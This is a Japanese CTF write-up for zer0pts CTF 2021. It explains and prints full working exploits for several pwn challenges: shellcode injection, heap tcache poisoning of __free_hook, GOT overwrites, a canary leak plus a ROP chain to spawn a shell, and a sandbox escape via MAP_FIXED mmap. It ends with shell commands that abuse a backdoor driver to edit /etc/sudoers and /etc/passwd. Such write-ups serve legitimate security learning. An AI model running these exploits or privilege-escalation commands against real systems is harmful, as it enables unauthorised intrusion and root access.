zer0pts CTF 2021 writeup

zer0pts CTF writeup

zer0pts CTFにTSGとして参加して、7th位でした。私はもっぱらpwnの問題ばかり解いていました。Pwnの問題しかほとんど見ていませんが、非本質的なパートが排除されていて、Pwnに集中できる良い問題が揃っていてよかったです。

f:id:moratorium08:20210308214615p:plain
順位

実はCTFを開催した場合にwriteupを書いてもらえると嬉しいことを認識していて、今回はせっかくなので感想のつもりで書こうと思います。 なお、もう既に公式で質の良いwriteup が存在しているので、基本的にはそちらを参照するのが良いとは思います。

Not Beginner's Stack (warmup, pwn)

warmupということで、初心者向けにFOR_BEGINNERS.mdと題した文章が添付されていました。内容は、関数呼び出しの仕組みの一般論と今回の問題の題意についてです。初心者なので当然この文章を一通り読んでから解きはじめました。

問題のプログラムについて要約すると、一般的な関数呼び出しでは、スタック上に戻りアドレスが保存されるのに対して、今回は、bss上に別途「関数呼び出しテーブル」を確保しておき、callに対応するタイミングで戻りアドレスをテーブルに保存、retに対応するタイミングでテーブルを検索して次にジャンプするべき先を取り戻す、というふうになっているようです。

バイナリを開くと自明なBoFを含む関数vulnと

vuln:
;; char buf[0x100];
  enter 0x100, 0
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x1000);
  mov edx, 0x1000               ; [!] vulnerability
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return;
  leave
  ret

バグの無いnotvuln

notvuln:
;; char buf[0x100];
  enter 0x100, 0
;; vuln();
  call vuln
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x100);
  mov edx, 0x100
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return 0;
  xor eax, eax
  ret

が定義されていて、プログラム自体はnotvulnを実行するという形になっています(vuln関数を内部で呼び出すのだからnotvulnが言うほど脆弱性が無いと言って良いのかわからないですけど)。 checksecをすると

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols     FORTIFY Fortified   Fortifiable FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   24) Symbols   No    0       0       chall

のようになっています。問題は、retアドレスがスタックに無いのでBoFができない点です。どうしましょう。

答えは、スタック上に退避されているrbpを書き換えると、nonvuln内のreadで lea rsi, [rbp-0x100] と書かれている部分でrbpが任意の値にできる、つまり、任意書き込みが可能です。書き込む先は当然、例の関数テーブルで良くて、notvulnの "戻りアドレス" を今から一緒に流し込むシェルコードの先頭に向ければそれでシェルが取れます。zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}

N = 4
target_table = 0x600234
target_addr = 0x600234 + 0x8 * N

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

victim = target_table + 0x100
wait_for_attach()
rs(p64(victim) * (0x200//8))
rs(p64(target_addr) * N +  shellcode)
interactive()

これがPoCです(完全版)。簡単な問題ですがfirst bloodでした✌

safe vector

C++のバイナリです。嫌ですね。でもソースコードがあると... 嬉しい

template<typename T>
class safe_vector: public std::vector<T> {
public:
  void wipe() {
    std::vector<T>::resize(0);
    std::vector<T>::shrink_to_fit();
  }

  T& operator[](int index) {
    int size = std::vector<T>::size();
    if (size == 0) {
      throw "index out of bounds";
    }
    return std::vector<T>::operator[](index % size);
  }
};

上のようなstd::vectorを継承したクラスのインスタンスvecが渡されて、push_back, pop_back, load, store, wipeができます。上述のクラスは、インデックスアクセスで配列外参照を検知できるようにする意図で作られたもののようです。

ところで、C言語のmodは、負の値 % 正の値は負の値になるという、(比較的)有名な話があって、indexに負の値を与えるとindex % sizeは負の値になります。配列外参照ができますね(JavaScriptとかもこの流儀に従っていて、一方でPythonRubyは数学的によくある方の剰余になっているはずです)。

あとはヒープ風水です。

  • heap leakやlibc leakが適切なサイズまでvectorを生やして行けば得られます
  • tcache poisoningでfree_hookを得たいですが、vectorは2倍2倍に大きくなっていって、微妙に上の方で作られた小さいtcacheに届きません。
  • そこで、vectorの中にfake chunkを作って、freeするときに小さいものっぽく誤認させると、届きます。
for i in range(16):
    push_back(i)

heap_base = (load(-9) << 32) + (load(-10)) - 0x10
print(hex(heap_base))

for i in range(0x400 - 16):
    push_back(i+1)
libc_base = (load(-515) << 32) + (load(-514)) - 0x10 - 0x1ebbd0
print(hex(libc_base))


wipe()

for i in range(64):
    push_back(i)

store(-2, 0x51)

storeword(18, 0x110 - 0x50 + 1)

wait_for_attach()
for i in range(64):
    push_back(64 + i)

system = 0x55410 + libc_base
free_hook = 0x1eeb28 + libc_base - 0x8
storeword(-68, free_hook)

wipe()

for i in range(16):
    push_back(i)

store(-2, 0x111)

wipe()


for i in range(8):
    print(i)
    push_back(i)
storeword(0, 29400045130965551)
storeword(2, system)

wait_for_attach()
push_back(9)


interactive()

以上がPoCです(完全版)。これもローカルでフラグが取れたときはfirst bloodだったんですが、サーバーが日本から遠くてタイムアウトまでに間に合わず、AWSインスタンス作ってpwntools入れてなどをしてフラグを取ったところ、second bloodになってしまいました... 残念。結構脳死PoCなのでもうちょい頑張れば効率化できたかもしれません。

OneShot

main関数をそのまま貼ると

int main() {
  int *arr = NULL, n = 0, i = 0;

  printf("n = ");
  scanf("%d", &n);
  if (n >= 0x100)
    exit(1);

  arr = calloc(n, sizeof(int));
  printf("i = ");
  scanf("%d", &i);

  printf("arr[%d] = ", i);
  scanf("%d", &arr[i]);
  puts("Done!");

  return 0;
}

です。これで問題になるんだからすごいですね。先にchecksecを確認しておくと

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   70) Symbols   No    0       1       chall

です。Partial Relro + No PIEです。匂いますね。

一見すると、得られるバッファがheapにあるんだから何もできないじゃん、という感じに見えるんですが、callocにクソデカい値を入れるとNULLが帰ってくるということを思い出すと、scanf("%d", &arr[i]) で任意アドレス書き込みができるということが分かります。先程確認したようにGOT書き換えが可能かつ、GOTのアドレスが固定なので、とりあえずGOTを書き換えましょう。書き換える先はもちろんputsで、このまま終わってしまっては困るので、とりあえず再びmainに戻ってくるようにmainに書き換えます。無限ループの完成です。

こっからはまた†風水†です。とにかく今何としても知りたいのはlibcのアドレスです。これが取れれば、calloc -> systemにGOT上で書き換えた上で、calloc("/bin/sh\x00")ができます。どうすればいいでしょう?

ところでlibcのアドレスが拾えそうな場所は限られていて、具体的には上で実は示さなかった以下のsetup関数になります

__attribute__((constructor))
void setup() {
  alarm(60);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
}

この中でsetbufの引数に渡されているstdinは、libcのアドレスを指しています。この値をリークしたいです。ちなみにsetbufのGOTをprintfに変えるというのではリークできません。というのもstdinのポインタの指し先は残念ながらlibcのアドレスではないからです。 つまり、やりたいのは、stdinのポインタを整数として解釈して表示させる機能 printf("%p", p)pにこのポインタを突っ込んだ上で、printfを実行する、みたいなことです。よく見直してみるとそのような機能がこのプログラムにはあって、具体的には、printf("arr[%d] = ", i); です。こんな余計な表示しているんだから怪しいですよね。

配られたバイナリをディスアセンブルしてみると

  4007d4:    89 c6                   mov    %eax,%esi
  4007d6:   48 8d 3d 14 01 00 00     lea    0x114(%rip),%rdi        # 4008f1 <_IO_stdin_used+0x11>
  4007dd:   b8 00 00 00 00          mov    $0x0,%eax
  4007e2:   e8 19 fe ff ff         callq  400600 <printf@plt>

などとなっています。一方で、setupの関数のディスアセンブル

  400830:    48 8b 05 39 08 20 00    mov    0x200839(%rip),%rax        # 601070 <stdin@@GLIBC_2.2.5>
  400837:   be 00 00 00 00          mov    $0x0,%esi
  40083c:   48 89 c7                mov    %rax,%rdi
  40083f:   e8 ac fd ff ff          callq  4005f0 <setbuf@plt>

のようになっています。よく見てみるとstdinのポインタをraxに一度入れてくれています。そのうえで、上のアセンブリを見ると、ちょうど第二引数にraxの値を入れていますね?

ただ一つ困ったことがあります。setbufのGOTを当該の0x4007d4に書き換えて、puts -> setupに書き換えて、実行すると、スタックアラインメントの問題で(16byte alignになっていることをprintfが要求する)プログラムが異常終了してしまいます。これを回避するために、"二度"ずらすということをします。setup内の途中に直接飛べばこれを回避できます。

def modify(pos, val):
    rs(-1)
    rs(pos // 4)
    rs(val)

def modify8(pos, val):
    modify(pos, val & 0xffffffff)
    modify(pos + 4, val >> 32)

modify(puts_got, main_addr)

modify8(exit_got, 0x0000000000400830)
modify8(setbuf_got, nazo)

#wait_for_attach()
#libc_base = just_u64(s)
#print(hex(libc_base))

rs(300)
recvuntil('arr[')
s = recvuntil(']')
print(s)
libc_lower = int(s)
system_lower = libc_lower - 0x196570
print(hex(libc_lower), hex(system_lower))
rs('+')


modify8(exit_got, ret)
modify8(binsh, u64("/bin/sh\x00"))

modify(calloc_got, system_lower)


wait_for_attach()
rs(str(binsh))

interactive()

以上がPoCです(完全版)。これはsecond bloodでした。 ちなみに実は上述でprintfのリークした後のscanfでは書き込み先のポインタがvalidではないので適当な数を入力するとセグフォで落ちますが、これは、+などを入れることでスルーしてもらうことができます。

stopwatch

これはプログラムが長いので、挙動は実行の様子から説明します

What is your name?
> hello
How many times do you want to try?
> 100
-=-=-=-= CHALLENGE 001 =-=-=-=-
Time[sec]: 1
Stop the timer as close to 1.000000 seconds as possible!
Press ENTER to start / stop the timer.

Timer started.

Timer stopped.
Faster by 0.245760 sec!
Play again? (Y/n) Y
-=-=-=-= CHALLENGE 002 =-=-=-=-
Time[sec]: 1
Stop the timer as close to 1.000000 seconds as possible!
Press ENTER to start / stop the timer.

Timer started.

Timer stopped.
Slower by 0.044928 sec!
Play again? (Y/n) n
-=-=-=-= RESULT =-=-=-=-
Name: hello
Best Score: 0.044928

名前とゲームをする回数を最初に入力し、各ゲームで、「x秒間隔でエンターを2度押せるかな?」ゲームをすることができます。上がその様子です。各ゲームの終了時に続けるかどうかが表示されます。ゲーム終了時には名前とベストスコアが表示されます。

実はこの問題は自明なBoFが二箇所あります。特に重要な方を上げると

int ask_again(void) {
  char buf[0x10];
  printf("Play again? (Y/n) ");
  scanf("%s", buf);
  readuntil('\n');
  if (buf[0] == 'n' || buf[0] == 'N')
    return 0;
  else
    return 1;
}

この関数でscanfをしているところで好きな長さの文字を書くことができます。ただchecksecを確認すると

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   80) Symbols   No    0       2       stopwatch/chall

となっていて、Canaryがあり、BoFするだけでは解けません。Canaryがリークしたいです。リークできそうな場所があるでしょうか? 怪しいところは、ここです

void ask_time(double *t) {
  printf("Time[sec]: ");
  scanf("%lf", t);
  readuntil('\n');
}

scanfの返り値を見てエラーハンドリングしていないので、ここで+とか入力すると、何もtに書き込まれず、そのままスルーされます。ask_timeの引数が何だったかを思い出すと、

  double delta, goal, diff;

  ask_time(&goal);

で、未初期化のgoalです。これでスタックの情報がリークできそう!となりますが、そう簡単ではありません。

What is your name?
> uon
How many times do you want to try?
> 100
-=-=-=-= CHALLENGE 001 =-=-=-=-
Time[sec]: +
Stop the timer as close to 0.000000 seconds as possible!
Press ENTER to start / stop the timer.

0、らしいです。canaryがリークできませんでした。ダメですか?実装をよく見てみると

int main(void) {
  unsigned char i, n;
  double *records, best = 31137.31337;

  ask_name();
  n = ask_number();
  records = (double*)alloca(n * sizeof(double));

  for(i = 0; i < n; i++) records[i] = 31137.31337;

のようにallocaでゲーム数分のメモリを確保しています。allocaというのは、mallocのように動的にサイズを決めて、メモリを確保することができる仕組みで、mallocとの違いは、freeをしなくて良い代わりに、生存期間がこの関数内です。具体的には、スタックを上げ下げすることで、メモリを確保しています。これを念頭に置くと、スタックを良い感じに上げ下げすると、ask_nameask_numberで使われたcanaryの位置に、goalを置くことができることに気づきます。

What is your name?
> 1
How many times do you want to try?
> 16
-=-=-=-= CHALLENGE 001 =-=-=-=-
Time[sec]: +
Stop the timer as close to 617509278313277091542227769970559604164567213334943896650100539216663619993774220164116246091155517995302682177562902367971147901679919912594346122149888.000000 seconds as possible!
Press ENTER to start / stop the timer.

ヤバいですね。適当なtranslator

#include <stdio.h>

typedef union {
    double x;
    unsigned long long y;
} U;

int main(void) {
    U v;
    scanf("%lf", &v.x);
    printf("%llx\n", v.y);
    return 0;
}

を書くと、この表示された値は 5fa794a51be9dc00 であることが分かります。canaryがリークできました(ちなみにcanaryの値によっては、リークができないので注意)。

canaryさえリークできればあとはROPをすればよいです。

server = process('translator')


rs('/bin/sh')
rs('15')

rs('+', r=':')
recvuntil('close to ')
v = recvuntil(' ')
print(v)
server.sendline(v)
l = server.recvline()
canary = int(l, 16)
sendline('\n')

print(hex(canary))
recvuntil('(Y/n) ')


payload = [
        pop_rdi, # pad

        pop_rdi,
        leak,
        puts_plt,

        ask_again,
        ]

pad = 'A' * 0x18 + p64(canary)

payload = ''.join(map(p64, payload))

'''
b * 0x400915
'''
wait_for_attach()
sendline(pad + payload)

libc_base = just_u64(recvline()) - libc_start_main_offset
print(hex(libc_base))

recvuntil('(Y/n) ')

binsh = libc_base + binsh_offset
system = libc_base + system_offset

payload = [
        pop_rdi, # pad
        ret,

        pop_rdi,
        binsh,

        system,
        ]


payload = ''.join(map(p64, payload))
wait_for_attach()
sendline(pad + payload)

interactive()

最初にlibcアドレスをリークするROP、その後でもう一度ask_againをして、二番目でsystem("/bin/sh")を実行するROPを組んでいます(PoCの完全版)。

nasm kit

概要は、「x86アセンブリを受け取って、sandbox下で実行したときに、sandbox escapeできますか?」という問題です。実装の詳細は載せきれないですが、重要なのはsystem callのハンドラーです。

DEFINE_HANDLER(handler_syscall)
{
  char *buf;

/** 省略 **/


  case SYS_mmap:
    /** SYS_mmap */
    REG_RETVAL = syscall(SYS_mmap, REG_ARG1, REG_ARG2, REG_ARG3, REG_ARG4, REG_ARG5, REG_ARG6);

    if ((void*)REG_RETVAL == MAP_FAILED) {

      /* Failed to allocate*/
      REG_RETVAL = -1;

    } else if (REG_RETVAL != REG_ARG1) {

      /* Invalid address */
      syscall(SYS_munmap, REG_RETVAL, REG_ARG2);
      REG_RETVAL = -1;

    } else {

      /* Success */
      if (UNICORN_ERROR(uc_mem_map_ptr(uc, REG_RETVAL, REG_ARG2, UNICORN_PROT(REG_ARG3), (void*)REG_RETVAL)))
        ABORT_PROGRAM("Error on uc_mem_map_ptr");

      REG_RETVAL = 0;

    }
    break;

  case SYS_munmap:
    /** SYS_munmap */
    if (syscall(SYS_munmap, REG_ARG1, REG_ARG2) != 0) {
      REG_RETVAL = -1;
    } else {
      if (UNICORN_ERROR(uc_mem_unmap(uc, REG_ARG1, REG_ARG2))) {
        ABORT_PROGRAM("Error on uc_mem_unmap");
      }
      REG_RETVAL = 0;
    }
    break;


/** 省略 **/

mmapでなぜか「親と子供のアドレスがストレートマップになるように」メモリマップを構築しています。とても怪しいですね。

この問題は2つのパートに分かれます

  • どのように親のアドレス空間のアドレスをリークするか
  • 親のアドレス空間が分かったとき、どうやって親側で任意コードを実行するか

です。

前半:親のアドレスリー

このsandboxでは、addr' = mmap(addr, size, ...)として得られたaddr'がaddrと一致していなかった場合は、その領域をmunmapした上でエラーを返すような実装になっています。mmapではMAP_FIXEDを指定しなければ、アドレスはただのヒントとして扱われるだけで、指定したアドレスの領域に被りが生まれる場合は別の場所から、適切なサイズのメモリを確保します。つまり、今回のsandboxにおいては、mmapの成功・不成功を見ることで、「親の空間にメモリマップが存在しているか?」を検査することができます。

f:id:moratorium08:20210308214455p:plain
成功
f:id:moratorium08:20210308214500p:plain
失敗

基本的には、二分探索をすれば良いですが、リモートでmmapのサイズとして指定してエラーが帰らないサイズがあまり大きくなかったので、この探索はさらに2つのパートに分かれます

  • [0x550000000000, 0x570000000000)までの領域を0x80000000ずつ前から順に調べていって、エラーになる場所を探す。その領域を[X, X+0x80000000)とする
  • [X, X+0x80000000)を二分探索していき、どこから親のコード領域が開始するかを正確に発見する。

Cで上述のアルゴリズムを書くと以下のようになります(なおmmapの仕様が違うので、上のプログラムをLinux上でコンパイルしても、意図したとおりには動きません)

#define SIZE 0x80000000llu

typedef unsigned long long u64;
int main(void) {


    u64 addr = 0x550000000000llu;
    u64 lb =   0x550000000000llu;
    u64 ub =   0x570000000000llu;

    for (u64 i = lb; i < ub; i += SIZE) {
        u64 x = (u64)mmap((void*)i, SIZE, 0, 0x22, -1, 0);
        if (x != 0) {
            addr = lb;
            lb = (i >> 12);
            ub = (i + SIZE) >> 12;
            break;
        }
        else {
            munmap((void*)i, SIZE);
        }
    }

    while (ub - lb > 1) {
        u64 mb = ((ub + lb) / 2);
        u64 size = mb - addr;

        u64 y = addr * 0x1000;
        u64 z = size * 0x1000;
        u64 x = mmap(y, z, 0, 0x22, -1, 0);
        if (x != 0) {
            ub = mb;
        }
        else {
            lb = mb;
            munmap(y, z);
        }
    }
    printf("%llx\n", lb * 0x1000);
    scanf("%llu", &addr);

    return 0;
}

以上で、親の空間のコード領域のアドレスをリークすることができました。

後半:親で任意コード実行

ここまでは良かったのですが、この後親の空間で任意コード実行をするにはどうすればよいでしょう。mmapでrwxを作れるので、RIPが取れれば、勝ちですが、プログラムにそのようなことができるバグは無さそうです。ここでmmapだけで、RIPを書き換えるにはどうすればいいっすかね〜とkcz146 さんに尋ねたところ「MAP_FIXEDで、うまいこといかんの?」と言われて、ほえーとなります。

mmapのフラグでMAP_FIXEDを指定すると、mmap(addr, size, ...)で指定したaddrがヒントではなく実際にマップされる場所になります。これは既にマップされていても強制的に上書きされます。つまり、これを用いて、コード領域のメモリをガバっと書き換えてしまえないか?というアイデアになります。

実際にこれはうまくいきます。メモリマップを見てみると以下のようになっていて、

gdb-peda$ vm
Start              End                Perm  Name
0xdead0000         0xdeae0000         rw-p  mapped
0x0000561813dba000 0x0000561813dbd000 r-xp  /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator
0x0000561813fbc000 0x0000561813fbd000 r--p  /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator
0x0000561813fbd000 0x0000561813fbe000 rw-p  /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator

特に、base + 0x2000の位置をダンプしてみると

gdb-peda$ x/40gx 0x0000561813dbc000
0x561813dbc000 <__static_initialization_and_destruction_0(int, int)+44>:  0xed358d4800201004  0x0fe6058b48002012
0x561813dbc010 <__static_initialization_and_destruction_0(int, int)+60>:  0xef66e8c789480020  0x894855c3c990ffff
0x561813dbc020 <_GLOBAL__sub_I_reg_vals+3>:   0x01bf0000ffffbee5  0xffffffa4e8000000
0x561813dbc030 <_GLOBAL__sub_I_reg_vals+19>:  0x7d89e5894855c35d  0x23fc458bf87589fc
0x561813dbc040 <std::operator&(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+14>:   0xe5894855c35df845  0x458bf87589fc7d89
0x561813dbc050 <std::operator|(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+12>:   0x4855c35df8450bfc  0xfc458bfc7d89e589
0x561813dbc060 <std::operator~(std::_Ios_Fmtflags)+10>:   0xe5894855c35dd0f7  0xf87d894810ec8348
0x561813dbc070 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+12>: 0x8bf8458b48f47589  0xc789d689f4558b00
0x561813dbc080 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+28>: 0x48c289ffffffbfe8  0x458b481089f8458b
0x561813dbc090 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+44>: 0x48e5894855c3c9f8  0x89f87d894810ec83
0x561813dbc0a0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+13>: 0x008bf8458b48f475  0xe8c789d689f4558b
0x561813dbc0b0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+29>: 0x8b48c289ffffff7e  0xf8458b481089f845
0x561813dbc0c0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+45>: 0x8348e5894855c3c9  0x7589e87d894820ec
0x561813dbc0d0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+14>:  0xe8458b48e05589e4  0x458bfc458918408b
0x561813dbc0e0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+30>:  0xffffff6ee8c789e0  0x8348e8458b48c289
0x561813dbc0f0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+46>:  0xe8c78948d68918c0  0x8be0558bffffff97
0x561813dbc100 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+62>:  0x27e8c789d689e445  0x458b48c289ffffff
0x561813dbc110 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+78>:  0x48d68918c08348e8  0x8bffffff45e8c789
0x561813dbc120 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+94>:  0xe5894855c3c9fc45  0xf87d894810ec8348
0x561813dbc130 <std::hex(std::ios_base&)+12>: 0x00004abaf8458b48  0x894800000008be00

のようになっています。mmapをすると、そのコード領域が全ての0になってしまうので、上述の方針を成功させるために必要なメモリページの要件として

  • 子供に実行が帰ってくる前に、その領域にRIPが行かない
  • メモリをシェルコードに書き換えた後で、RIPをその領域に向けることができる

という2点が挙げられます。この内1点目は、実際にやってみると、大丈夫であることが分かります。2点目として、このページにRIPが向かない場合(つまり正常実行でこの領域にあるコードが実行されない場合)、今回RIPを恣意的に変えることはできないので、書き換えられても無意味になってしまいます。ここで上のメモリダンプの中にstd::hexという文字があることに着目します。これはemulatorがterminateした後で

  std::cout << "[+] Emulator terminated" << std::endl;

  /* Print register values */
  if (UNICORN_ERROR(uc_reg_read_batch(uc, (int*)syscall_abi, reg_ptrs, 7)))
    ABORT("Error on uc_mem_map (unexpected)");

  std::cout << "===== registers =====" << std::endl;
  std::cout << "RAX: " << std::hex << reg_vals[0] << std::endl;
  std::cout << "RDI: " << std::hex << reg_vals[1] << std::endl;
  std::cout << "RSI: " << std::hex << reg_vals[2] << std::endl;
  std::cout << "RDX: " << std::hex << reg_vals[3] << std::endl;
  std::cout << "R10: " << std::hex << reg_vals[4] << std::endl;
  std::cout << "R8 : " << std::hex << reg_vals[5] << std::endl;
  std::cout << "R9 : " << std::hex << reg_vals[6] << std::endl;
  std::cout << "=====================" << std::endl;

のようにメモリダンプに使われる関数です。つまり、emulatorをterminateさせれば、親に任意コード実行させることができるということが分かります。シェルコードをstd::hexの位置に流して終わりです。

main:   ; Function begin
  xor r9d, r9d
  mov r8d, -1
  mov r10d, 0x22
  mov edx, 3
  mov rsi, 0x10000
  mov rdi, 0xdead0000
  mov eax, 9
  syscall

  mov rsp, 0xdead3000
  mov rbp, 0xdead3000

  mov rdi, 0xdead4800
  mov rsi, 0x0a0a0a0a0a0a
  mov [rdi], rsi

;;-> wait for attach
  mov edx, 0x400
  mov rsi, 0xdead0000
  mov edi, 0
  mov eax, 0
  syscall
  mov rsi, 5
  mov rdi, 0xdead0000
  call print_buf
;;<- end wait for attach


  mov     rax, qword 555000000000H
  mov     qword [rbp-58H], rax
  mov     qword [rbp-50H], rax
  mov     rax, qword 570000000000H
  mov     qword [rbp-48H], rax
  mov     rax, qword [rbp-50H]
  mov     qword [rbp-40H], rax
  jmp     ?_003

  ?_001:  mov     rax, qword [rbp-40H]
  mov     r9d, 0
  mov     r8d, 4294967295
  mov     ecx, 34
  mov     edx, 0
  mov     esi, 2147483648
  mov     rdi, rax
  mov eax, 9
  syscall
  mov     qword [rbp-38H], rax
  cmp     qword [rbp-38H], 0
  jz      ?_002
  mov     rax, qword [rbp-40H]
  shr     rax, 12
  mov     qword [rbp-50H], rax
  mov     qword [rbp-58H], rax
  mov     edx, 2147483648
  mov     rax, qword [rbp-40H]
  add     rax, rdx
  shr     rax, 12
  mov     qword [rbp-48H], rax

  call print_end
  mov rdi, qword [rbp-50H]
  call print_reg

  jmp     ?_004


  ?_002:
  ;call print_cont

  mov     rax, qword [rbp-40H]
  mov     esi, 2147483648
  mov     rdi, rax
  mov eax, 11
  syscall
  mov     eax, 2147483648
  add     qword [rbp-40H], rax
  ?_003:  mov     rax, qword [rbp-40H]
  cmp     rax, qword [rbp-48H]
  jc      ?_001
  ?_004:  jmp     ?_007

  ?_005:  mov     rdx, qword [rbp-48H]
  mov     rax, qword [rbp-50H]
  add     rax, rdx
  shr     rax, 1
  mov     qword [rbp-30H], rax
  mov     rax, qword [rbp-58H]
  mov     rdx, qword [rbp-30H]
  sub     rdx, rax
  mov     rax, rdx
  mov     qword [rbp-28H], rax
  mov     rax, qword [rbp-58H]
  shl     rax, 12
  mov     qword [rbp-20H], rax
  mov     rax, qword [rbp-28H]
  shl     rax, 12
  mov     qword [rbp-18H], rax
  mov     rax, qword [rbp-20H]
  mov     rsi, qword [rbp-18H]
  mov     r9d, 0
  mov     r8d, 4294967295
  mov     ecx, 34
  mov     edx, 0
  mov     rdi, rax
  mov eax, 9
  syscall
  mov     qword [rbp-10H], rax
  cmp     qword [rbp-10H], 0
  jz      ?_006
  mov     rax, qword [rbp-30H]
  mov     qword [rbp-48H], rax
  jmp     ?_007

  ?_006:  mov     rax, qword [rbp-30H]
  mov     qword [rbp-50H], rax
  mov     rax, qword [rbp-20H]
  mov     rdx, qword [rbp-18H]
  mov     rsi, rdx
  mov     rdi, rax
  mov eax, 11
  syscall
  ?_007:  mov     rax, qword [rbp-48H]
  sub     rax, qword [rbp-50H]
  cmp     rax, 1
  ja      ?_005

  call print_end
  mov rdi, qword [rbp-50H]
  call print_reg

  mov edx, 0x8
  mov rsi, 0xdead0000
  mov edi, 0
  mov eax, 0
  syscall

  mov rax, 0xdead0000
  mov r12, [rax]

get_shell:
  xor r9d, r9d
  mov r8d, -1
  mov r10d, 0x32
  mov edx, 7
  mov rsi, 0x1000
  mov rdi, r12
  mov eax, 9
  syscall
  mov rax, r12
  add rax, 0x124

mov dword [rax], 3142107185
add rax, 4
mov dword [rax], 2442567121
add rax, 4
mov dword [rax], 4288122064
add rax, 4
mov dword [rax], 1406924616
add rax, 4
mov dword [rax], 1385783124
add rax, 4
mov dword [rax], 2958971991
add rax, 4
mov dword [rax], 331579

mov rax, 0x100000
mov dword [rax], 0

  print_buf:
  mov rdx, rsi
  mov rsi, rdi
  mov edi, 1
  mov rax, 1
  syscall
  mov rdx, 1
  mov rsi, 0xdead4800
  mov edi, 1
  mov rax, 1
  syscall
  ret
  wait_for_attach:
  mov edx, 0x400
  mov rsi, 0xdead0000
  mov edi, 0
  mov eax, 0
  syscall
  ret
  print_reg:
  mov rax, 0xdead0000
  mov qword [rax], rdi
  mov rdi, rax
  mov rsi, 8
  jmp print_buf

  print_cont:
  mov rax, 0xdead0000
  mov qword [rax], 1953394531
  mov rdi, rax
  mov rsi, 4
  jmp print_buf

  print_end:
  mov rax, 0xdead0000
  mov qword [rax], 6581861
  mov rdi, rax
  mov rsi, 3
  jmp print_buf

良い問題でした。

infected

僕が唯一解いたpwn以外の問題(rev)です。revをするとデバドラで、バックドアをしかけていることが分かり、なんか好きにレギュラーファイルのmodeを書き換えられるらしいです。sudoersにしつつ/etc/passwdに自分を入れて終わりです。

echo "b4ckd00r:/etc/sudoers:2559" > /dev/backdoor
echo "sudo  ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "b4ckd00r:/etc/passwd:2559" > /dev/backdoor
echo "sudo:x:1000:1000:sudo:/:/bin/sh" >> /etc/passwd
echo "b4ckd00r:/etc/sudoers:288" > /dev/backdoor

感想

問題の質がとても良かったので体験として最高だったのと、僕がいっぱい問題解けて体験として最高だったので、最高でした。それに順位がまあまあよくて賞金がTSGに送られるそうです。すごい。 今年初めてのCTF*1 でしたが、途中でamong usやTSG/KMC esolang大会に行くことなく*2、ずっとCTFできたのは、割と非本質パートがなくずっと集中していられたおかげだと思うので、本当に良かったです。

*1:参加しようとしたが、実はamong usをしていたみたいなことはあった

*2:esolangして有が埋めたかは不明でですが